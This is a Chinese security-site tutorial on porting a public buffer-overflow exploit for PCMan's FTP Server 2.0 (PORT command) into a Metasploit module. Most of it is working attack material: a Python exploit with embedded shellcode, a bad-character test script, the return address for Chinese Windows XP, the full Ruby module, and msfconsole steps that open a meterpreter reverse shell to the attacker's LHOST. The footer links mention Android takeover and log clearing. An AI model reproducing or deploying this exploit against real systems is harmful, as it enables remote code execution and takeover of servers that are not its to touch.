關於Metasploit 5中測試模塊的移植與驗證

2021-02-15 FreeBuf

*嚴正聲明:本文僅限於技術討論與分享,嚴禁用於非法途徑。

前言

如果針對某一程序或軟體已經有了相應的滲透模塊,此時再去寫一個實現類似功能的模塊就顯得多此一舉。然而,並非所有的滲透模塊都是基於Metasploit框架開發的,其中有很多是用Perl、Python或者C/C++語言編寫的,所以導致了這些模塊不能直接在Metasploit中使用。此時需要將現有的滲透模塊移植成為與Metasploit框架相兼容的模塊,移植成功之後,不僅能夠實現原有模塊的功能,還可以利用Metasploit框架提供的各種豐富而又強大的工具來處理例行任務,同時可以動態切換攻擊載荷,使滲透模塊適用於更多的場景。

實驗環境
1.滲透主機:Kali-Linux-2019.1-vm-amd642.目標主機:Windows XP SP3 Simplified Chinese3.軟體版本:PCMan’s FTP Server 2.0

涉及工具
1\. python-2.7.152\. ImmunityDebugger1.85

滲透模塊的分析

本文以PCMan’s FTP Server軟體為例,詳細描述滲透模塊的移植和測試過程。這款軟體是由我國臺灣省的國立陽明大學開發的,也是我個人比較喜歡的一款小巧、輕便、易用的FTP軟體,可在五分鐘之內迅速搭建一臺FTP伺服器。存在現成的滲透模塊針對PCMan’s FTP Server的緩衝區溢出漏洞。

1.滲透模塊的詳細代碼如下:



import socket
print "Creating malicious input!"
junk = '\x41'*2007ret="\xf7\x56\x3c\x7e" nops = '\x90'*20
sc=("\xdb\xd6\xba\xd3\x95\x1b\xd0\xd9\x74\x24\xf4\x58\x2b\xc9\xb1""\x53\x31\x50\x17\x83\xe8\xfc\x03\x83\x86\xf9\x25\xdf\x41\x7f""\xc5\x1f\x92\xe0\x4f\xfa\xa3\x20\x2b\x8f\x94\x90\x3f\xdd\x18""\x5a\x6d\xf5\xab\x2e\xba\xfa\x1c\x84\x9c\x35\x9c\xb5\xdd\x54""\x1e\xc4\x31\xb6\x1f\x07\x44\xb7\x58\x7a\xa5\xe5\x31\xf0\x18""\x19\x35\x4c\xa1\x92\x05\x40\xa1\x47\xdd\x63\x80\xd6\x55\x3a""\x02\xd9\xba\x36\x0b\xc1\xdf\x73\xc5\x7a\x2b\x0f\xd4\xaa\x65""\xf0\x7b\x93\x49\x03\x85\xd4\x6e\xfc\xf0\x2c\x8d\x81\x02\xeb""\xef\x5d\x86\xef\x48\x15\x30\xcb\x69\xfa\xa7\x98\x66\xb7\xac""\xc6\x6a\x46\x60\x7d\x96\xc3\x87\x51\x1e\x97\xa3\x75\x7a\x43""\xcd\x2c\x26\x22\xf2\x2e\x89\x9b\x56\x25\x24\xcf\xea\x64\x21""\x3c\xc7\x96\xb1\x2a\x50\xe5\x83\xf5\xca\x61\xa8\x7e\xd5\x76""\xcf\x54\xa1\xe8\x2e\x57\xd2\x21\xf5\x03\x82\x59\xdc\x2b\x49""\x99\xe1\xf9\xe4\x91\x44\x52\x1b\x5c\x36\x02\x9b\xce\xdf\x48""\x14\x31\xff\x72\xfe\x5a\x68\x8f\x01\x60\x11\x06\xe7\x02\xf1""\x4e\xbf\xba\x33\xb5\x08\x5d\x4b\x9f\x20\xc9\x04\xc9\xf7\xf6""\x94\xdf\x5f\x60\x1f\x0c\x64\x91\x20\x19\xcc\xc6\xb7\xd7\x9d""\xa5\x26\xe7\xb7\x5d\xca\x7a\x5c\x9d\x85\x66\xcb\xca\xc2\x59""\x02\x9e\xfe\xc0\xbc\xbc\x02\x94\x87\x04\xd9\x65\x09\x85\xac""\xd2\x2d\x95\x68\xda\x69\xc1\x24\x8d\x27\xbf\x82\x67\x86\x69""\x5d\xdb\x40\xfd\x18\x17\x53\x7b\x25\x72\x25\x63\x94\x2b\x70""\x9c\x19\xbc\x74\xe5\x47\x5c\x7a\x3c\xcc\x6c\x31\x1c\x65\xe5""\x9c\xf5\x37\x68\x1f\x20\x7b\x95\x9c\xc0\x04\x62\xbc\xa1\x01""\x2e\x7a\x5a\x78\x3f\xef\x5c\x2f\x40\x3a")
buffer= junk + ret + nops + sc
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)ip = raw_input('Give me Remote IP Address:')connect=s.connect((ip,21))banner = s.recv(1024)print banners.send('USER anonymous\r\n')s.recv(1024)s.send('PASS\r\n')s.recv(1024)s.send('PORT' + buffer + '\r\n')s.close()

2.關鍵信息收集

3.確定偏移量Offset的方法和步驟,若不清楚,可以參照《關於CVE-2019-9766緩衝區溢出漏洞的滲透模塊編寫與測試》一文,這裡不再詳述。

4.現有模塊的JMP ESP指令使用User32.dll對應的地址7E3C56F7,但該模塊是基於Windows XP Profesional SP3 Spanish x86編寫的,在這裡西班牙語的XP顯然是不適用的。於是在ImmunityDebugger中使用命令!mona jmp -r esp查詢合適的跳轉指令,mona查詢的結果保存在文件jmp.txt中,這裡我們選擇

C:\WINDOWS\system32\USER32.dll

其對應的地址為0x77d29353,查詢結果如下圖所示:

5.關於shellcode中的壞字符,可以在ImmunityDebugger中使用mona插件輔助確定。這裡我們使用一種原理性的方法來找出壞字符,雖然過程有點繁瑣,但是準確性較高。測試代碼如下所示(其中變量shellcode賦值為所有可能出現的字符):


import socket
junk = '\x41'*2007ret='\x42'*4 nops = '\x90'*20
shellcode = ( "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f" "\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f" "\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f" "\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f" "\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f" "\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f" "\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f" "\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f" "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f" "\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f" "\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf" "\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf" "\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf" "\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf" "\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef" "\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
buffer= junk + ret + nops + shellcode
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)ip = raw_input('Input FTP Server IP Address:')connect = s.connect((ip,21))s.recv(1024)s.send('USER anonymous\r\n')s.recv(1024)s.send('PASS\r\n')s.recv(1024)s.send('PORT' + buffer + '\r\n')s.close()

5.1 在Kali Linux中運行上述代碼,輸入PCMan’s FTP Server的IP位址,將所有可能的字符發送給PCMan’s FTP,然後ImmunityDebugger中的顯示如下(內容太多,此處節選一部分):

0012C7D4   41414141  AAAA0012C7D8   42424242  BBBB0012C7DC   90909090  悙悙0012C7E0   90909090  悙悙0012C7E4   90909090  悙悙0012C7E8   90909090  悙悙0012C7EC   90909090  悙悙0012C7F0   00000A0D  ....0012C7F4   0000000A  ....0012C7F8   00000000  ....0012C7FC   00000000  ....0012C800   00000000  ....0012C804   00000000  ....0012C808   00000000  ....0012C80C   00000000  ....0012C810   00000000  ....0012C814   00000066  f...0012C818   77EF6BF2  騥飛    GDI32.77EF6BF2

在上述結果中並沒有看到shellcode的內容,20個空指令』\x90』之後的\x0D\x0A代表的是 『\r\n』(「<回車><換行>」),並不是shellcode中的部分字符,因此可以判定』\x00』為壞字符。

5.2 將shellcode中的』\x00』去掉,重複5.1中的操作,然後ImmunityDebugger中的顯示如下:

0012C7D4   41414141  AAAA0012C7D8   42424242  BBBB0012C7DC   90909090  悙悙0012C7E0   90909090  悙悙0012C7E4   90909090  悙悙0012C7E8   90909090  悙悙0012C7EC   90909090  悙悙0012C7F0   04030201  0012C7F4   08070605  0012C7F8   000A0D09  ....0012C7FC   00000000  ....0012C800   00000000  ....0012C804   00000000  ....0012C808   00000002  ...0012C80C   00000000  ....0012C810   00000000  ....0012C814   000000AC  ?..0012C818   77EF6BF2  騥飛    GDI32.77EF6BF22.4

從上述結果可以看到shellcode在』\x09』之後的內容全部丟失,因此可以判定』\x0a』為壞字符。重複步驟5.1和5.2,最終確定全部壞字符為』\x00\x0a\x0d』。

滲透模塊的移植

分析完成現有的滲透模塊之後,下面我們進行滲透模塊的移植。

1. 移植後的滲透模塊pcman_port.rb的第一部分如下:

require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking
include Msf::Exploit::Remote::Ftp
def initialize(info = {}) super(update_info(info, 'Name' => "PCMan's FTP Server PORT Command Stack Buffer Overflow", 'Description' => "This module exploits a buffer overflow vulnerability found in the PORT command of the PCMan's FTP Server v2.0", 'Author' => 'Neroqi', 'License' => MSF_LICENSE, 'References' => [ ['EDB', '40714'] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'VERBOSE' => true }, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00\x0a\x0d", }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP Profesional SP3 Simplified Chinese', { 'Ret' => 0x77d29353, 'Offset' => 2007 } ], ], 'DisclosureDate' => 'May 14 2019', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(21), OptString.new('FTPUSER',[ true, 'FTP User', 'anonymous']), OptString.new('FTPPASS',[ true, 'FTP Password', 'anonymous']) ], self.class) end

1.1 語句require 『msf/core』引入了Metasploit中core庫的所有內容;語句include Msf::Exploit::Remote::Ftp引入了ftp. rb庫文件,用於後續的FTP相關操作。

1.2 方法initialize定義了模塊的相關信息及參數,包括Name、Description、Author以及DefaultOptions等等,其中壞字符在Payload中設置,Offset和JMP ESP指令在Targets中設置。

1.3 register_options使用Opt::RPORT函數定義了目標埠,使用OptString.new函數為FTP的登錄提供了用戶名和密碼。

2. 移植後的滲透模塊pcman_port.rb的第二部分如下:

  def exploit     c = connect_login    return unless c    sploit = rand_text_alpha(target['Offset'])    sploit << [target.ret].pack('V')    sploit << make_nops(20)    sploit << payload.encoded     send_cmd( ["PORT" + sploit, false] )    disconnect   end

2.1 rand_text_alpha()函數用於生成2007個(該值是由Targets中的變量Offset決定的)填充數據,用於替代原滲透模塊中的』\x41』*2007,然後將填充數據保存到變量sploit中。

2.2 [target.ret].pack(『V』)函數將Targets中Ret的值(JMP ESP的指令)以小端格式保存到sploit變量中,無需像原滲透模塊那樣使用大端格式保存。

2.3 make_nops(20)函數用於產生20個空指令。

2.4 payload.encoded函數用於對指定的攻擊載荷進行編碼。

2.5 然後使用ftp庫中的send_cmd()函數將包含了變量sploit的PORT命令發送到目標。

3. 移植後的滲透模塊pcman_port.rb具有的優勢:

3.1 rand_text_alpha()函數實現自動生成填充數據,無須手動生成。

3.2 JMP ESP的指令無須進行大小端格式轉換,該工作由函數[target.ret].pack(『V』)實現。

3.3 make_nops()函數自動生成空指令,無須手動生成。

3.4 shellcode可動態切換,無須提供任何預先硬編碼的shellcode,在需要改變shellcode時,就無須手動重新編碼,從而節約了大量時間。

滲透模塊的測試

1. 將移植後的滲透模塊pcman_port.rb拷貝到如下路徑:

/usr/share/metasploit-framework/modules/exploits/windows/ftp

然後在msfconsole中通過命令reload_all來重新載入所有的模塊,確保模塊編寫無誤。

2. 在Metasploit中使用如下命令測試滲透模塊pcman_port.rb是否正常工作,命令如下:

msf5 > use exploit/windows/ftp/pcman_portmsf5 exploit(windows/ftp/pcman_port) > set RHOSTS 192.168.188.137RHOSTS => 192.168.188.137msf5 exploit(windows/ftp/pcman_port) > set payload windows/meterpreter/reverse_tcppayload => windows/meterpreter/reverse_tcpmsf5 exploit(windows/ftp/pcman_port) > set LHOST 192.168.188.136LHOST => 192.168.188.136msf5 exploit(windows/ftp/pcman_port) > set LPORT 8888LPORT => 8888msf5 exploit(windows/ftp/pcman_port) > exploit

如下圖所示,可以看到成功取得了與目標主機的meterpreter會話,說明模塊移植成功:

結束語

以上這些,就是關於如何將滲透模塊移植到Metasploit框架中並且進行測試的過程。由於Metasploit的強大功能以及豐富的工具庫,因此建議大家在遇到較新較好的滲透模塊時,及時地將其移植到Metasploit框架中,以備後用。

*本文作者:Neroqi,轉載請註明來自FreeBuf.COM

相關焦點

  • 第一課 MetaSploit-Framework介紹與使用詳解
    ,到目前為止,msf已經內置了數千個 已披露的漏洞相關的模塊和滲透測試工具,模塊使用ruby語言編寫,這使得使用者 能夠根據需要對模塊進行適當修改,甚至是調用自己寫的測試模塊。選定需要使用 的攻擊模塊之後,你只需要使用簡單的命令配置一些參數就能完成針對一個漏洞的 測試和利用,將滲透的過程自動化、簡單化。
  • 通過Metasploit遠程控制Android設備
    本文旨在激發像我一樣自學滲透測試的小白對於使用metasploit這門基礎工具的興趣,metasploit的各種騷使用網上很多,感興趣的可以自己去了解學習,只有自己真正感興趣,多去了解和實踐,才會有提升。本文我們就來講一下通過metasploit控制手機的簡單案例。
  • Metasploit從入門到入墳
    該文件夾中存放著大量的使用工具5) plugins這裡migrate 1264成功將我們的shell攻擊文件移植到了explorer的PID中,這是攻擊常用注入的進程程序之一,主要作用是以後對方就算關機重啟後,開啟監聽還是能繼續獲得反彈shell的!!6) 清除日誌後滲透後需要將日誌痕跡清理:執行命令前存在很多日誌痕跡:
  • 2020暗月滲透測試全棧學習班
    資料庫數據的增刪改查資料庫04-mysql資料庫數據的查詢語句資料庫05-mysql資料庫子查詢資料庫06-mysql的內連結 左連接 右連接資料庫07-IFORMATION_SCHEMA詳解和SQL注入語句分析第四天 基礎知識6課01物理機的環境搭建02網站基礎知識03詳解HTTP協議04埠協議05網站搭建vps購買 域名 解析 伺服器配置06搭建 https網站07安裝kali和配置08滲透測試中的常用編碼第五天
  • 2021暗月滲透測試全棧學習班
    資料庫數據的增刪改查資料庫04-mysql資料庫數據的查詢語句資料庫05-mysql資料庫子查詢資料庫06-mysql的內連結 左連接 右連接資料庫07-IFORMATION_SCHEMA詳解和SQL注入語句分析第四天 基礎知識6課01物理機的環境搭建02網站基礎知識03詳解HTTP協議04埠協議05網站搭建vps購買 域名 解析 伺服器配置06搭建 https網站07安裝kali和配置08滲透測試中的常用編碼第五天
  • 數據中心光互聯技術的發展及400G光模塊測試
    光模塊接收到的光信號通常經過很長距離的光纖傳輸,接收到的光信號上可能疊加了各種抖動和噪聲,所以光接收機測試可以用於驗證被測光模塊對於惡劣光信號的容忍能力。   同時,光模塊需要從電口接收交換機或伺服器發送過來的電信號並轉成光信號發出去。由於電信號經PCB、連接器傳輸會產生較大的損耗和發射,所以電接收機測試項目可以驗證被測光模塊對於惡劣電信號的容忍能力。
  • 碳化矽功率模塊及電控的設計、測試與系統評估
    本文介紹了該項目的研發過程:包含系統性能評估(top-down flow),用於選擇晶片並聯數量;碳化矽模塊的本體設計,包括封裝形式、電磁、熱、結構、可製造性等;模塊性能測試,對標某知名IGBT功率模塊;根據模塊的標定結果迭代系統性能評估,包括最大輸出功率、高效區並輔以臺架實測結果,並展開其對續航裡程影響的分析。基於以上結果,本文最後將總結一下關於碳化矽模塊應用於主驅設計的方法論。
  • 淺談靜電放電VCP測試對汽車電子模塊的影響
    雖然各種電磁兼容測試標準在各大整車廠商嚴格執行,但經過測試的整車可能因為測試條件或者測試方法等差異,仍舊有可能出現電磁兼容性問題。在眾多電磁幹擾及抗擾現象中,不受控制的靜電放電(ESD)幹擾會造成整車某部分電子功能暫時性失效或者性能變差,對產品質量造成嚴重影響,甚至會引起比較嚴重的售後抱怨,因此,靜電放電在整車電磁兼容性中是必須考慮和預防的。
  • 滲透測試工具小抄
    對於更深入的信息,我會從右側的菜單中推薦該工具的man文件或更具體的筆測試作弊表。該作弊表的重點是基礎架構/網絡滲透測試,除了最後的幾個sqlmap命令和一些Web伺服器枚舉之外,Web應用程式滲透測試不在此處。更新日誌17/02/2017 - 文章更新,加載更多內容,VPN,DNS隧道,VLAN跳躍等 - 查看下面的TOC。
  • 應用高速數據採集卡實現WLAN絡基頻發射模塊測試系統
    在本文中,我們以凌華科技的高速資料採集卡-PXI-9820為核心,配合基於 MATLAB 所開發的測試程序,進行 Wireless LAN 基頻發射模塊的效能測試。我們將採集基頻信號經正交分頻多任務(OFDM)調變後的I/Q(in-phase/quadrature)信號,並進行解調與演算,最後得出EVM(Error Vector Magnitude)值,作為判斷基頻發射模塊是否良好的重要指標。
  • python測試函數模塊unittest
    1.測試函數在編寫完代碼後進行對代碼測試是否有錯誤2.pytho標準庫中的模塊unittest為代碼測試工具例如:name_function.py 模塊名def get_formatted_name(first, last): full_name = first + ' ' + last
  • μC/OS-II作業系統移植在LPC2378上的系統測試及問題解決方法
    絕大部分代碼用C語言寫成,極少部分與處理器密切相關的代碼用彙編語言編寫,便於移植。作為一個原始碼公開的實時作業系統,最多可以管理64個任務,並支持信號量、郵箱、消息隊列等多種進程間的通信機制,同時用戶可以根據需求對內核中的功能模塊進行裁剪。
  • 在Windows中識別自製文件格式並參與籤名驗證流程
    通過ActionID在註冊表中查找對應的功能模塊和函數加載對應模塊,並且調用相應的函數。模塊的類型:Provider:查找文件類型對應的模塊,加載文件對應模塊驗證文件籤名有效性,並進行額外的工作。SIP:Subject Interface Package,文件的籤名就是一種Subject,籤名的驗證方法被Windows封裝為接口,實現這個接口的模塊就是SIP。
  • [網絡安全] 十九.Metasploit後滲透技術之信息收集和權限提權
    同時本文主要學習和參考了徐焱老師他們的《Web安全攻防滲透測試實戰指南》,在此感謝。第四步,利用漏洞模塊。在Samba服務返回的漏洞利用模塊列表中,我們選擇「Excellent」最傑出且時間較新的漏洞,從而提高滲透成功率。
  • 驗證(Verification)與驗實(Validation)將何去何從?
    這些測試包括在嵌入式處理器上運行的代碼,並在需要時通過每個平臺的可用機制訪問晶片輸入和輸出。這樣就可以在validation平臺上檢查已驗證的功能(verifiedfunctionality),從而減少運行軟體所需的時間。它還允許在驗證過程中發現錯誤——甚至在晶片啟動期間發現的錯誤——以在仿真中重現,便於調試。記錄下經驗是可以有所作為的。
  • 關於舉辦交直流電能變換及AC-DC模塊電源測試技術研討會(網絡直播...
    關於舉辦交直流電能變換及AC-DC模塊電源測試技術研討會(網絡直播)的通知 2021-01-07 15:23 來源:澎湃新聞·澎湃號·政務
  • 月薪4w的驗證工程師竟然每天都在做這些!
    其中需要重點了解的內容是:⚫ features:這個模塊需要支持的性能列表;⚫ IO ports:這個模塊對外的IO埠;⚫ operation  mode:這個模塊的主要工作模式; 除了這份詳細的設計文檔之外,如果這個IP需要用到很多協議,那你自然還要去閱讀一些協議文檔咯,比如AMBA總線協議,MIPI
  • 【學習筆記】ATE測試中抖動對高性能ADC測試結果的影響與分析
    實際使用ATE針對一款12位、105 MS/s高性能ADC進行測試,分別採用兩種不同時鐘抖動條件的模塊提供時鐘信號和輸入模擬信號,對比兩種情況下測得的ADC動態參數如SNR、SINAD、SFDR等測試結果,SNR測試結果在不同的頻點約有2~5 dB的差異,驗證了信號抖動對ADC測試結果帶來了不可忽視的影響。